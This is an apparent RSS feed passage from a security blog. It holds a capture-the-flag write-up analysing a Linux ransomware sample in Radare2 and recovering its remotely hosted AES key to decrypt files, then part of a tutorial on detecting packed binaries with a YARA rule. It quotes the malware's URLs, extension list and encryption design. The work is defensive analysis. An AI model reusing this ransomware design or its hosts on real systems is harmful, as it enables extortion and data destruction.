2   0x00003050 0x00003050 5   6    .rodata ascii \nCLIG
3   0x00003070 0x00003070 5   6    .rodata ascii \nCLIG
4   0x00003090 0x00003090 5   6    .rodata ascii \nCLIG
5   0x000030a3 0x000030a3 18  19   .rodata ascii b7894532snsmajuys6
6   0x000030b8 0x000030b8 31  32   .rodata ascii curl_easy_perform() failed: %s\n
7   0x000030d8 0x000030d8 31  32   .rodata ascii Could not open output file: %s\n
8   0x000030f8 0x000030f8 4   5    .rodata ascii .txt
9   0x000030fd 0x000030fd 4   5    .rodata ascii .pdf
10  0x00003102 0x00003102 4   5    .rodata ascii .sql
11  0x0000310b 0x0000310b 5   6    .rodata ascii .docx
12  0x00003111 0x00003111 5   6    .rodata ascii .xlsx
13  0x00003117 0x00003117 5   6    .rodata ascii .pptx
14  0x0000311d 0x0000311d 4   5    .rodata ascii .zip
15  0x00003122 0x00003122 4   5    .rodata ascii .tar
16  0x00003127 0x00003127 7   8    .rodata ascii .tar.gz
17  0x0000312f 0x0000312f 13  14   .rodata ascii countdown.txt
18  0x0000313d 0x0000313d 7   8    .rodata ascii /share/
19  0x00003145 0x00003145 15  16   .rodata ascii Update failed.\n
20  0x00003158 0x00003158 40  41   .rodata ascii Running update, testing update endpoints
21  0x00003181 0x00003181 11  12   .rodata ascii Updating %s
22  0x0000318d 0x0000318d 11  12   .rodata ascii  Successful
23  0x000031a0 0x000031a0 46  47   .rodata ascii Update complete - thank you for your patience.
24  0x000031cf 0x000031cf 16  17   .rodata ascii %s/countdown.txt
25  0x000031e0 0x000031e0 32  33   .rodata ascii https://pastes.io/raw/foiawsmlsk
26  0x00003201 0x00003201 5   6    .rodata ascii %s/%s
27  0x00003210 0x00003210 30  31   .rodata ascii Could not open input file: %s\n
28  0x0000322f 0x0000322f 8   9    .rodata ascii %s.24bes
29  0x00003240 0x00003240 39  40   .rodata ascii Failed to delete the original file: %s\n
</code></pre>

<p>Let&#39;s analyze the strings that are shown here</p>
<ul><li>The strings show several extensions that can point to the file that the ransomware targets.</li>
<li>There is also 2 strings that point to the filename of the ransom note that was included in the ZIP archive.</li>
<li>There&#39;s mention of the <code>/share/</code> path which may point to the <code>share</code> directory that was included in the ZIP archive.</li>
<li>The extension <code>24bes</code> is also mentioned.</li>
<li>The URL <code>https://pastes.io/raw/foiawsmlsk</code> needs to be further investigated</li>
<li>There are other strings that point to status or error messages, as well as some that may either be encrypted or encoded.</li></ul>

<p>Checking the URL, it shows that the ransom note is stored. This allows for the threat actor to modify the note without having to release new malware.</p>

<p><img src="https://i.snap.as/kbTcRiU4.png" alt="Ransom note on Pastes site"/></p>

<p>There&#39;s not much else to go on with the strings, so let&#39;s now look at the libraries that are used by the ransomware. The command <code>il</code> shows the linked libraries.</p>

<pre><code class="language-shellsession">[0x00001280]&gt; il
[Linked libraries]
libcrypto.so.3
libcurl.so.4
libc.so.6

3 libraries
</code></pre>

<p>The libraries that are imported give an idea of the functionality that this ransomware has, keeping in mind that it is possible that the malware loads additional libraries dynamically during execution.</p>

<p>Based on these libraries, the following can be determined</p>
<ul><li>The <code>libcrypto</code> library provides the encryption capabilities, which are obvious for a ransomware.</li>
<li>The <code>libcurl</code> library is used to download and upload data through various protocols.</li></ul>

<p>Based on the information that is known up to this point, the <code>libcurl</code> appears to be used to obtain the ransom note from the URL that was found in the strings. However, it&#39;s still unknown how the encryption happens or what key is used, so further analysis of the functions is needed.</p>

<h2 id="analyzing-the-functions" id="analyzing-the-functions">Analyzing the Functions</h2>

<p>Let&#39;s first focus on the functions that are used from the libraries that are imported by the binary. The command <code>ii</code> is used to list these functions, the output from Radare2 shows the function name</p>

<pre><code class="language-shellsession">[0x00001280]&gt; ii
[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x00001030 GLOBAL FUNC       printf
2   0x00001040 GLOBAL FUNC       EVP_EncryptUpdate
3   0x00001050 GLOBAL FUNC       curl_global_init
4   0x00001060 GLOBAL FUNC       curl_global_cleanup
5   0x00001070 GLOBAL FUNC       strlen
6   0x00001080 GLOBAL FUNC       OPENSSL_init_crypto
7   0x00001090 GLOBAL FUNC       ERR_print_errors_fp
8   0x000010a0 GLOBAL FUNC       abort
9   0x000010b0 GLOBAL FUNC       EVP_EncryptInit_ex
10  0x000010c0 GLOBAL FUNC       EVP_aes_256_cbc
11  0x000010d0 GLOBAL FUNC       EVP_CIPHER_CTX_new
12  ---------- GLOBAL FUNC       __libc_start_main
13  0x000010e0 GLOBAL FUNC       sleep
14  0x000010f0 GLOBAL FUNC       memcpy
15  0x00001100 GLOBAL FUNC       stat
16  0x00001110 GLOBAL FUNC       fclose
17  0x00001120 GLOBAL FUNC       EVP_CIPHER_CTX_free
18  0x00001130 GLOBAL FUNC       strrchr
19  0x00001140 GLOBAL FUNC       curl_easy_setopt
20  0x00001150 GLOBAL FUNC       fflush
21  0x00001160 GLOBAL FUNC       fopen
22  0x00001170 GLOBAL FUNC       curl_easy_cleanup
23  0x00001180 GLOBAL FUNC       curl_easy_init
24  0x00001190 GLOBAL FUNC       curl_easy_perform
25  0x000011a0 GLOBAL FUNC       putchar
26  0x000011b0 GLOBAL FUNC       strcmp
27  0x000011c0 GLOBAL FUNC       fprintf
28  0x000011d0 GLOBAL FUNC       curl_easy_strerror
29  0x000011e0 GLOBAL FUNC       fread
30  0x000011f0 GLOBAL FUNC       opendir
31  0x00001200 GLOBAL FUNC       readdir
32  0x00001210 GLOBAL FUNC       puts
33  0x00001220 GLOBAL FUNC       EVP_EncryptFinal_ex
34  0x00001230 GLOBAL FUNC       snprintf
35  0x00001240 GLOBAL FUNC       closedir
36  ---------- WEAK   NOTYPE     _ITM_deregisterTMCloneTable
37  0x00001250 GLOBAL FUNC       remove
38  ---------- WEAK   NOTYPE     __gmon_start__
39  ---------- WEAK   NOTYPE     _ITM_registerTMCloneTable
40  0x00001260 GLOBAL FUNC       fwrite
42  0x00001270 WEAK   FUNC       __cxa_finalize
</code></pre>

<p>There are several functions that call my attention and that provide some relevant information</p>
<ul><li>The <code>EVP_aes_256_cbc</code> (<code>0x10c0</code>) function points to the encryption algorithm that is being used by the ransomware.</li>
<li>There are several file handling functions, which is expected.</li>
<li>The cURL functions are expected, but the most relevant one is the <code>curl_easy_perform</code> (<code>0x1190</code>) since it&#39;s the one that is used to download data.</li></ul>

<p>Before looking further into where the 2 functions mentioned above are used within the malware, let&#39;s look at the functions that are exported by the binary by using the <code>iE</code> command.</p>

<pre><code class="language-shellsession">[0x00001280]&gt; iE
[Exports]
nth paddr      vaddr      bind   type   size lib name                demangled
――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
41  ---------- 0x00005140 GLOBAL OBJ    8        stdout
43  ---------- 0x00005160 GLOBAL OBJ    8        stderr
49  ---------- 0x00005140 GLOBAL OBJ    8        stdout@GLIBC_2.2.5
50  0x00003030 0x00003030 GLOBAL OBJ    19       K2
52  0x00001af3 0x00001af3 GLOBAL FUNC   394      get_key_from_url
53  ---------- 0x00005138 GLOBAL NOTYPE 0        _edata
56  0x00003000 0x00003000 GLOBAL OBJ    4        _IO_stdin_used
58  0x00003050 0x00003050 GLOBAL OBJ    19       K3
62  0x00001787 0x00001787 GLOBAL FUNC   810      main
63  0x00004130 0x00005130 GLOBAL OBJ    8        HESB
66  0x00004128 0x00005128 GLOBAL OBJ    0        __dso_handle
68  0x00001ab1 0x00001ab1 GLOBAL FUNC   66       write_binary_data
69  0x00003070 0x00003070 GLOBAL OBJ    19       K4
72  0x00001c7d 0x00001c7d GLOBAL FUNC   426      handle_directory
73  0x00002064 0x00002064 GLOBAL FUNC   0        _fini
77  0x00003090 0x00003090 GLOBAL OBJ    19       K5
79  0x0000141d 0x0000141d GLOBAL FUNC   140      xor_cipher
80  0x000014a9 0x000014a9 GLOBAL FUNC   58       write_data
81  0x0000161c 0x0000161c GLOBAL FUNC   24       handleErrors
82  0x00001280 0x00001280 GLOBAL FUNC   34       _start
84  0x000014e3 0x000014e3 GLOBAL FUNC   313      download_lyrics
87  0x00001000 0x00001000 GLOBAL FUNC   0        _init
88  ---------- 0x00005138 GLOBAL OBJ    0        __TMC_END__
94  0x0000173d 0x0000173d GLOBAL FUNC   74       encrypt
96  ---------- 0x00005160 GLOBAL OBJ    8        stderr@GLIBC_2.2.5
97  0x00004120 0x00005120 GLOBAL NOTYPE 0        __data_start
98  ---------- 0x00005170 GLOBAL NOTYPE 0        _end
105 ---------- 0x00005138 GLOBAL NOTYPE 0        __bss_start
108 0x00001e27 0x00001e27 GLOBAL FUNC   573      encrypt_file
109 0x00001634 0x00001634 GLOBAL FUNC   265      is_target_extension
115 0x00003010 0x00003010 GLOBAL OBJ    19       K1
</code></pre>

<p>Focusing on the lines that have the <em>type</em> of <em>FUNC</em>, there are 2 functions that appear to be relevant</p>
<ul><li>The function <code>get_key_from_url</code> (<code>0x1af3</code>) points to the a key being obtained from an external source, which could potentially be the encryption key.</li>
<li>The <code>xor_cipher</code> (<code>0x141d</code>) function points to the use of XOR encryption being used besides the AES algorithm.</li></ul>

<p>Let&#39;s see if there is any relation between these 4 functions that are considered relevant in this binary. The <code>axt</code> command is used to find the references to a specified address, the sintaxis of this command is <code>axt &lt;addr&gt;</code>.</p>

<p>Let&#39;s look at the usage of the <code>EVP_aes_256_cbc</code> function. The output shows that the function is called from the <code>sym.encrypt_file</code> function, confirming that it&#39;s the encryption algorithm being used to encrypt the files.</p>

<pre><code class="language-shellsession">[0x00001280]&gt; axt 0x10c0
sym.encrypt_file 0x1f22 [CALL:--x] call sym.imp.EVP_aes_256_cbc
</code></pre>

<p>The <code>curl_easy_perform</code> function is called by 2 different functions, with the <code>get_key_from_url</code> being the more relevant one. This confirms that data is being downloaded.</p>

<pre><code class="language-shellsession">[0x00001280]&gt; axt 0x1190
sym.download_lyrics 0x159f [CALL:--x] call sym.imp.curl_easy_perform
sym.get_key_from_url 0x1bdc [CALL:--x] call sym.imp.curl_easy_perform
</code></pre>

<p>The <code>get_key_from_url</code> function is called from the <code>main</code> function.</p>

<pre><code class="language-shellsession">[0x00001280]&gt; axt 0x1af3
main 0x17c4 [CALL:--x] call sym.get_key_from_url
</code></pre>

<p>The <code>xor_cipher</code> is called from the <code>get_key_from_url</code> function, which can mean that there is one or more pieces of data that are encrypted and that are used in relation to the key that is downloaded.</p>

<pre><code class="language-shellsession">[0x00001280]&gt; axt 0x141d
main 0x186c [CALL:--x] call sym.xor_cipher
main 0x18fe [CALL:--x] call sym.xor_cipher
main 0x1990 [CALL:--x] call sym.xor_cipher
main 0x1a22 [CALL:--x] call sym.xor_cipher
sym.get_key_from_url 0x1b45 [CALL:--x] call sym.xor_cipher
</code></pre>

<p>The focus now shifts to look into the <code>get_key_from_url</code> function, in order to determine the URL that the key is obtained from. The first step is to move the address where the function starts, this is achieved with the command <code>s 0x1af3</code>, and then print the disassembled function using the <code>pdf</code> command.</p>

<pre><code class="language-shellsession">[0x00001af3]&gt; pdf
            ; CALL XREF from main @ 0x17c4(x)
┌ 394: sym.get_key_from_url (void *arg1, int64_t arg2);
│           ; arg void *arg1 @ rdi
│           ; arg int64_t arg2 @ rsi
│           ; var uint32_t var_8h @ rbp-0x8
│           ; var int64_t var_ch @ rbp-0xc
│           ; var int64_t var_10h @ rbp-0x10
│           ; var int64_t var_14h @ rbp-0x14
│           ; var int64_t var_18h @ rbp-0x18
│           ; var uint32_t var_1ch @ rbp-0x1c
│           ; var void *s2 @ rbp-0x50
│           ; var int64_t var_90h @ rbp-0x90
│           ; var void *s1 @ rbp-0x98
│           ; var int64_t var_a0h @ rbp-0xa0
│           0x00001af3      55             push rbp
│           0x00001af4      4889e5         mov rbp, rsp
│           0x00001af7      4881eca000..   sub rsp, 0xa0
│           0x00001afe      4889bd68ff..   mov qword [s1], rdi         ; arg1
│           0x00001b05      4889b560ff..   mov qword [var_a0h], rsi    ; arg2
│           0x00001b0c      bf03000000     mov edi, 3
│           0x00001b11      e83af5ffff     call sym.imp.curl_global_init
│           0x00001b16      e865f6ffff     call sym.imp.curl_easy_init
│           0x00001b1b      488945f8       mov qword [var_8h], rax
│           0x00001b1f      48837df800     cmp qword [var_8h], 0
│       ┌─&lt; 0x00001b24      0f840f010000   je 0x1c39
│       │   0x00001b2a      488b15ff35..   mov rdx, qword [obj.HESB]   ; [0x5130:8]=0x30a3 str.b7894532snsmajuys6 ; char *arg3
│       │   0x00001b31      488d8570ff..   lea rax, [var_90h]
│       │   0x00001b38      4889c6         mov rsi, rax                ; int64_t arg2
│       │   0x00001b3b      488d05ce14..   lea rax, obj.K1             ; 0x3010 ; &#34;\nCLIG\x0f\x1c\x1d\x01\f]\n\x18EF\x1f\x1fE\x1b&#34;
│       │   0x00001b42      4889c7         mov rdi, rax                ; char *arg1
│       │   0x00001b45      e8d3f8ffff     call sym.xor_cipher
[..SNIP..]
</code></pre>

<p>The function is long, so focusing on the first lines of the function, it becomes apparent data is decrypted as the initial steps. Let&#39;s break down the information that is seen.</p>
<ul><li>At address <code>0x1b2a</code> the value <code>b7894532snsmajuys6</code> is moved into the <code>rdx</code> register, this would be the key being used for the encryption and decryption.</li>
<li>The memory address of a binary value is being stored in the <code>rax</code> register, this could be the encrypted data.</li></ul>

<p>The binary data is found at the address <code>0x3010</code>, the command <code>px</code> can be used to print the hex dump of the memory region, the full command is <code>px @ 0x3010</code>, and the screenshot below shows the binary data that is referenced</p>

<p><img src="https://i.snap.as/TFJsTWIv.png" alt="XOR Encrypted Binary Data"/></p>

<p>To make it easier to handle the binary data, we&#39;ll copy the hex bytes, these being <code>0a434c49470f1c1d010c5d0a1845461f1f451b</code>. <a href="https://gchq.github.io/CyberChef/">CyberChef</a> can be used to decrypt the data, with the operations <em>From Hex</em> and <em>XOR</em>.</p>

<p><img src="https://i.snap.as/TkETt9v0.png" alt="Decrypting the XOR binary data via CyberChef"/></p>

<p>The encrypted data contained the URL <code>https://rb.gy/3flsy</code>, which would mean that the key that is used would be downloaded from this address.</p>

<p>Reviewing the hex dump above, it appears that there are other URLs that are encrypted, and the <code>CLIG</code> string is a common denominator among them. Decrypting these URLs can be done in the same manner as shown above, they are decoys and don&#39;t contain any valuable data, so are skipped for the purposes of this writeup.</p>

<p>Further reviewing the disassembled function, specifically how the data is downloaded from the URL. Checking the <a href="https://curl.se/libcurl/c/curl_easy_perform.html">documentation</a> for this function shows that this is used to <em>perform a blocking file transfer</em>, the example shows that the data that is downloaded is stored in a variable.</p>

<pre><code class="language-c">int main(void)
{
  CURL *curl = curl_easy_init();
  if(curl) {
    CURLcode res;
    curl_easy_setopt(curl, CURLOPT_URL, &#34;https://example.com&#34;);
    res = curl_easy_perform(curl);
    curl_easy_cleanup(curl);
  }
}
</code></pre>

<p>The above code shows that the <code>curl_easy_setopt</code> function is called to configure the <code>curl</code> object, and then the <code>curl_easy_perform</code> function is called to execute the download action.</p>

<p>The following command can be used to download the data to a file named <code>3flsy</code>.</p>

<pre><code class="language-shell">curl -vLO --url &#39;https://rb.gy/3flsy&#39;
</code></pre>

<p>Checking the file, it contains binary data, and it can be viewed with <code>xxd</code> to obtain the data</p>

<pre><code class="language-shellsession">$ xxd 3flsy
00000000: f3fc 056d a118 5eae 370d 76d4 7c4c f9db  ...m..^.7.v.|L..
00000010: 9f4e fd1c 1585 cde3 a7bc c6cb 5889 f6db  .N..........X...
00000020: 0144 8c79 0993 9e13 ce35 9710 b9f0 dc2e  .D.y.....5......
</code></pre>

<h2 id="decrypting-the-files" id="decrypting-the-files">Decrypting the Files</h2>

<p>Now that the key has been obtained, we need to determine how to decrypt the files. Reviewing the available data, the files are encrypted using AES 256 CBC algorithm, and this can be decrypted using CyberChef.</p>

<p>By using the <em>AES Decrypt</em> operation it is possible to decrypt the files, there is relevant information displayed in the output</p>

<blockquote><p>Invalid key length: 0 bytes</p>

<p>The following algorithms will be used based on the size of the key:
16 bytes = AES-128
24 bytes = AES-192
32 bytes = AES-256</p></blockquote>

<p>Knowing that the encryption used is AES 256, the key should have a length of 32 bytes. However, the file has a size of 48 bytes, this means that it contains 16 additional bytes.</p>

<p>The AES encryption requires a key and an <em>initialization vector</em>, meaning that it&#39;s possible that this key that was downloaded contains both values. Lets extract the key and IV values from the file with the <code>xxd</code> command</p>

<pre><code class="language-shellsession">$ xxd -l 32 -ps 3flsy
f3fc056da1185eae370d76d47c4cf9db9f4efd1c1585cde3a7bcc6cb5889
f6db

$ xxd -s 32 -ps 3flsy
01448c7909939e13ce359710b9f0dc2e
</code></pre>

<blockquote><p>The <code>-l</code> stops the printing of the hexdump after the specified amount of bytes. The <code>-s</code> starts at the specified bytes, instead of starting at 0. The <code>-ps</code> option prints only the hex values</p></blockquote>

<p>These values are used in the AES Decrypt recipe in CyberChef, along with the encrypted files.</p>

<p><img src="https://i.snap.as/17FIL0ZN.png" alt="Decrypting the files"/></p>

<p>The encrypted data can now be restored to it&#39;s original state.</p>

<h2 id="conclusion" id="conclusion">Conclusion</h2>

<p>The threat actor has altered their tactics and now doesn&#39;t hard code all of the necessary information, while making them available through a web service that can be easily altered to change the result of the encryption.</p>
]]></content:encoded>
      <guid>https://codebeta.com/htb-sherlocks-lockpick-2</guid>
      <pubDate>Mon, 17 Jun 2024 01:51:06 +0000</pubDate>
    </item>
    <item>
      <title>Analyzing Packed Binaries</title>
      <link>https://codebeta.com/analyzing-packed-binaries?pk_campaign=rss-feed</link>
      <description>&lt;![CDATA[Packing is a technique used by software developers to reduce the size of executables, obfuscate machine code with the intention of protecting intellectual property, among other reasons. These are just some of the legitimate uses for implementing this technique on executables and other similar binary files. Malware developers also utilize this technique to prevent their malicious executables from being easily detected and to make it more difficult for analysis.&#xA;&#xA;The process of packing an executable depends on the intended goal, which could be compression, obfuscation, encryption, or a combination of these techniques. Regardless of the extent of modifications made, the executable&#39;s structure is altered to incorporate the essential code for unpacking the machine code in memory during program execution on the user&#39;s system. Additionally, it includes the necessary data for the program.&#xA;&#xA;!--more--&#xA;&#xA;There are both open-source and commercial packers available. These tools often insert strings or name the sections containing the unpacking sequence in a specific manner, which can be used to identify the packer that was used. However, some malware developers may devise their own packing techniques or tools. They may also alter section names or remove the strings added by well-known packers to make it even more challenging for malware analysts to determine which packer was employed.&#xA;&#xA;A packing process typically involves several steps, which can vary depending on the specific tools and the purpose of implementation. The general process encompasses the following stages:&#xA;&#xA;Compression: The original executable undergoes compression using an algorithm to reduce its size.&#xA;Encryption: An additional layer of protection is applied using a specific key or algorithm.&#xA;Header modification: Changes are made to reflect the alterations and ensure the executable remains valid. This often includes markers for identifying the packer used.&#xA;Runtime Decryption/Decompression: Code necessary for extracting the original executable into memory is added to the new file, serving as the new entry point for the program.&#xA;Anti-analysis measures: Some packing tools may employ techniques to deter analysis, debugging, or emulation, aiming to hinder the examination of the original code.&#xA;Execution flow control: Essential instructions are incorporated to manage the execution flow, ensuring seamless execution of the original code.&#xA;&#xA;Additionally, some packing tools may include extra code to dynamically alter behavior during execution, making it more challenging for an analyst to discern the actions taken by the malware.&#xA;&#xA;Detecting Packing&#xA;&#xA;One important aspect is to determine whether a sample being analyzed is packed or not, since this determines the approach to the analysis of the binary file. While most analysis tools can identify whether the binary is packed and which packing program was used, it remains beneficial to understand how to analyze such files.&#xA;&#xA;Tools capable of detecting packed binaries often rely on signatures, which are patterns or identifying strings inserted by packers and are widely recognized. The following Yara rule can be used to identify binaries packed with RLPack.&#xA;&#xA;rule rlpack {&#xA;    meta:&#xA;        description = &#34;RLPack packed file&#34;&#xA;        block = false&#xA;        quarantine = false&#xA;&#xA;    strings:&#xA;        $mz = &#34;MZ&#34;&#xA;        $text1 = &#34;.packed\x00&#34;&#xA;        $text2 = &#34;.RLPack\x00&#34;&#xA;&#xA;    condition:&#xA;        $mz at 0 and $text1 in (0..1024) and $text2 in (0..1024)&#xA;}&#xA;&#xA;Signatures can be created based on various elements, including section names, header values, structure, and the Import Address Table (IAT) of the binary generated by the packer software. Packers often introduce sections with specific names and characteristics. While some packers only display sections specific to the packer itself, others add the necessary sections to the list of sections that exist in the original binary. While this can assist in identifying the tool used, developers can also change the names of these sections without modifying the packer&#39;s code or the resulting binary. Despite the possibility of section name changes, the respective sections and other characteristics remain the same, and this information is used to determine which packer was employed.&#xA;&#xA;Similarly, the header can be analyzed to determine the packer used. While the header&#39;s structure may vary depending on the original binary, packers often introduce values or set the header to a specific structure. The section headers specify both the size of data as it occupies on disk and its size when loaded into memory. A significant difference between these two values can indicate that the data is uncompressed or decrypted in memory. For instance, the UPX packer stores all data in one section, which has a size of zero on disk. However, when loaded into memory, the section expands to a larger size, encompassing the entire program.&#xA;&#xA;The Import Address Table (IAT) is a structure within the PE header that specifies the list of functions or procedures imported from dynamic link libraries (DLLs). This allows the executable to locate and access the required functions at runtime. ELF binaries use the Procedure Linkage Table (PLT) and Global Offset Table (GOT) to achieve a similar purpose as the IAT in PE files. These structures differ in design and function, but they share the goal of importing functions or procedures from external libraries. Packers have specific functions that they call, which they may do by directly linking to external libraries or by dynamically resolving API calls. As a result, the import tables will have a specific set of functions or procedures listed or may have an incomplete list.&#xA;&#xA;While the aspects mentioned above are considered during static analysis, dynamic analysis is also employed to assess the packing techniques in use. This involves using a debugger and disassembly to identify the instructions and flow of the binary. Dynamic analysis is particularly useful for extracting unpacked code when it resides in memory. It&#39;s important to note that the extracted program will require additional steps to become a valid executable on disk for further analysis and won&#39;t exactly match the original version of the binary file.&#xA;&#xA;Let&#39;s examine an example binary that has been packed using UPX and ASPack to better understand the differences. This example is a Windows PE program that, when executed, displays a message box and performs no other actions.&#xA;&#xA;The source code of this program is only the lines shown below, any additional functions and data is added by the compiler. This program was compiled in Microsoft Visual Studio 2022.&#xA;&#xA;include Windows.h&#xA;&#xA;int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {&#xA;    MessageBox(NULL, L&#34;Hello there! - General Kenobi&#34;, L&#34;Star Wars Quote&#34;, MBOK | MBICONINFORMATION);&#xA;    return 0;&#xA;}&#xA;&#xA;For the analysis phase, Radare2 is used, but any other tool can be used to achieve the same results. The original binary file is initially examined to establish a baseline. The sections are displayed using the iS command, the entropy of each section is displayed by adding the parameter entropy to the command.&#xA;&#xA;[Sections]&#xA;&#xA;nth paddr        size vaddr        vsize perm entropy    type name&#xA;――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;0   0x00000400  0xe00 0x00401000  0x1000 -r-x 5.92845120 ---- .text&#xA;1   0x00001200  0xc00 0x00402000  0x1000 -r-- 4.55813641 ---- .rdata&#xA;2   0x00001e00  0x200 0x00403000  0x1000 -rw- 0.28040117 ---- .data&#xA;3   0x00002000  0x200 0x00404000  0x1000 -r-- 4.70150326 ---- .rsrc&#xA;4   0x00002200  0x200 0x00405000  0x1000 -r-- 4.86675397 ---- .reloc&#xA;&#xA;There are several sections that are listed, the size refers to the amount of space consumed by the section on disk, while the vsize refers to the amount of space that is allocated in memory for the program. The difference between these 2 sizes is small, with the sizes ranging from 512 bytes to 3.5 Kilobytes for the size on disk, while the memory allocated for each of the sections is for 4 Kilobytes. This is not a big enough difference to point to packing being used.&#xA;&#xA;The entropy can be used to determine the level of randomness that exists in the section, these values will be compared later on when the packed samples are analyzed.&#xA;&#xA;The linked libraries are listed using the command il, for this program there are only 8 DLLs that are linked and none are suspicious&#xA;&#xA;[Linked libraries]&#xA;user32.dll&#xA;vcruntime140.dll&#xA;api-ms-win-crt-runtime-l1-1-0.dll&#xA;api-ms-win-crt-math-l1-1-0.dll&#xA;api-ms-win-crt-stdio-l1-1-0.dll&#xA;api-ms-win-crt-locale-l1-1-0.dll&#xA;api-ms-win-crt-heap-l1-1-0.dll&#xA;kernel32.dll&#xA;&#xA;8 libraries&#xA;&#xA;The functions that are imported from these libraries can be listed with the ii command. The only function that was specified in the source code used for this program is MessageBoxW, the other functions are listed because they are used by other parts of the program that get added by the compiler and aren&#39;t necessarily used.&#xA;&#xA;[Imports]&#xA;nth vaddr      bind type lib                               name&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;1   0x00402038 NONE FUNC USER32.dll                        MessageBoxW&#xA;1   0x00402040 NONE FUNC VCRUNTIME140.dll                  _currentexception&#xA;2   0x00402044 NONE FUNC VCRUNTIME140.dll                  excepthandler4common&#xA;3   0x00402048 NONE FUNC VCRUNTIME140.dll                  currentexceptioncontext&#xA;4   0x0040204c NONE FUNC VCRUNTIME140.dll                  memset&#xA;1   0x0040206c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll crtatexit&#xA;2   0x00402070 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll cexit&#xA;3   0x00402074 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll terminate&#xA;4   0x00402078 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll registeronexitfunction&#xA;5   0x0040207c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll registerthreadlocalexeatexitcallback&#xA;6   0x00402080 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll exit&#xA;7   0x00402084 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll initterm&#xA;8   0x00402088 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll getnarrowwinmaincommandline&#xA;9   0x0040208c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll initializenarrowenvironment&#xA;10  0x00402090 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll configurenarrowargv&#xA;11  0x00402094 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll cexit&#xA;12  0x00402098 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll setapptype&#xA;13  0x0040209c NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll sehfilterexe&#xA;14  0x004020a0 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll initializeonexittable&#xA;15  0x004020a4 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll exit&#xA;16  0x004020a8 NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll controlfps&#xA;17  0x004020ac NONE FUNC api-ms-win-crt-runtime-l1-1-0.dll initterme&#xA;1   0x00402064 NONE FUNC api-ms-win-crt-math-l1-1-0.dll    setusermatherr&#xA;1   0x004020b4 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   setfmode&#xA;2   0x004020b8 NONE FUNC api-ms-win-crt-stdio-l1-1-0.dll   pcommode&#xA;1   0x0040205c NONE FUNC api-ms-win-crt-locale-l1-1-0.dll  configthreadlocale&#xA;1   0x00402054 NONE FUNC api-ms-win-crt-heap-l1-1-0.dll    setnewmode&#xA;1   0x00402000 NONE FUNC KERNEL32.dll                      GetCurrentProcessId&#xA;2   0x00402004 NONE FUNC KERNEL32.dll                      GetModuleHandleW&#xA;3   0x00402008 NONE FUNC KERNEL32.dll                      GetStartupInfoW&#xA;4   0x0040200c NONE FUNC KERNEL32.dll                      IsDebuggerPresent&#xA;5   0x00402010 NONE FUNC KERNEL32.dll                      InitializeSListHead&#xA;6   0x00402014 NONE FUNC KERNEL32.dll                      GetSystemTimeAsFileTime&#xA;7   0x00402018 NONE FUNC KERNEL32.dll                      GetCurrentThreadId&#xA;8   0x0040201c NONE FUNC KERNEL32.dll                      UnhandledExceptionFilter&#xA;9   0x00402020 NONE FUNC KERNEL32.dll                      QueryPerformanceCounter&#xA;10  0x00402024 NONE FUNC KERNEL32.dll                      IsProcessorFeaturePresent&#xA;11  0x00402028 NONE FUNC KERNEL32.dll                      TerminateProcess&#xA;12  0x0040202c NONE FUNC KERNEL32.dll                      GetCurrentProcess&#xA;13  0x00402030 NONE FUNC KERNEL32.dll                      SetUnhandledExceptionFilter&#xA;&#xA;Looking at the list of functions, there are some that may generate some concern and are often used by malware for different reasons. One of these functions is IsDebuggerPresent, which can be used by malware as an anti-analysis technique. The command axt can be used to check where the function is being called, the address of the function is used as the argument for the command.&#xA;&#xA;[0x00401268]  axt 0x0040200c&#xA;fcn.004016fe 0x4017d6 [CALL:--x] call dword [sym.imp.KERNEL32.dllIsDebuggerPresent]&#xA;&#xA;If this sample was a potential malware, then it would be necessary to determine what makes the call to this function, however, this is outside of the scope of this blog post.&#xA;&#xA;Loading the sample that is packed with UPX into Radare2 and displaying the sections that the PE binary has shows a very different story.&#xA;&#xA;[Sections]&#xA;&#xA;nth paddr         size vaddr        vsize perm entropy    type name&#xA;―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――&#xA;0   0x00000400     0x0 0x00401000  0x6000 -rwx            ---- UPX0&#xA;1   0x00000400  0x1200 0x00407000  0x2000 -rwx 7.32773884 ---- UPX1&#xA;2   0x00001600   0x600 0x00409000  0x1000 -rw- 3.88507214 ---- .rsrc&#xA;&#xA;This program consists of only three sections. Two of these sections, namely UPX0 and UPX1, immediately indicate the packer used.&#xA;&#xA;The UPX0 section has a size of 0 bytes on disk but allocates 24 Kilobytes when loaded into memory. This significant difference raises concerns. Furthermore, this section possesses read, write, and execute permissions, allowing it to be altered during runtime.&#xA;&#xA;The UPX1 section exhibits high entropy compared to the unpacked version, which is unusual. Additionally, it has all permissions, which is not a typical configuration.&#xA;&#xA;The libraries that are linked to the executable are the same as the unpacked version.&#xA;&#xA;[Linked libraries]&#xA;api-ms-win-crt-heap-l1-1-0.dll&#xA;api-ms-win-crt-locale-l1-1-0.dll&#xA;api-ms-win-crt-math-l1-1-0.dll&#xA;api-ms-win-crt-runtime-l1-1-0.dll&#xA;api-ms-win-crt-stdio-l1-1-0.dll&#xA;kernel32.dll&#xA;user32.dll&#xA;vcruntime140.dll&#xA;&#xA;8 libraries&#xA;&#xA;However, the difference is significant when listing the imported functions, with the list being shorter and showing the calls to the LoadLibraryA, GetProcAddress, and VirtualProtect 